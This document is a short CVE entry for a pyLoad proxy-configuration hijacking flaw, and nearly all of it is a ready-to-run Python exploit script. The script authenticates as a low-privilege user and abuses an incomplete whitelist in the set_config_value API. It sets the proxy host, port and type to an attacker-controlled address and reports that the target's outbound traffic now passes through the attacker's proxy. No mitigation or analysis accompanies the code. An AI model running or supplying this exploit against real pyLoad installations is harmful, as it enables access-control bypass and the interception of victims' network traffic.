CVE-2026-42313 pyLoad代理配置劫持漏洞

import requests # Target configuration TARGET_URL = "http://<target-host>:8000" USERNAME = "low_priv_user" PASSWORD = "password" # Attacker controlled proxy settings ATTACKER_HOST = "192.168.1.100" ATTACKER_PORT = "8080" def exploit(): session = requests.Session() # Step 1: Authenticate as a user with 'SETTINGS' permission login_payload = {"username": USERNAME, "password": PASSWORD} login_resp = session.post(f"{TARGET_URL}/api/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") return # Step 2: Exploit the incomplete whitelist to set proxy configuration # The API set_config_value takes category, option, and value. # The whitelist blocks ('proxy', 'username') but misses ('proxy', 'host'). proxy_settings = [ {"category": "proxy", "option": "type", "value": "http"}, {"category": "proxy", "option": "host", "value": ATTACKER_HOST}, {"category": "proxy", "option": "port", "value": ATTACKER_PORT}, {"category": "proxy", "option": "enabled", "value": "True"} ] for setting in proxy_settings: payload = { "category": setting["category"], "option": setting["option"], "value": setting["value"] } # Bypassing the intended access control resp = session.post(f"{TARGET_URL}/api/set_config_value", json=payload) if resp.status_code == 200: print(f"[+] Successfully set {setting['category']}.{setting['option']} to {setting['value']}") else: print(f"[-] Failed to set {setting['category']}.{setting['option']}") print("\n[!] Exploit complete. Outbound traffic is now routed through the attacker's proxy.") if __name__ == "__main__": exploit()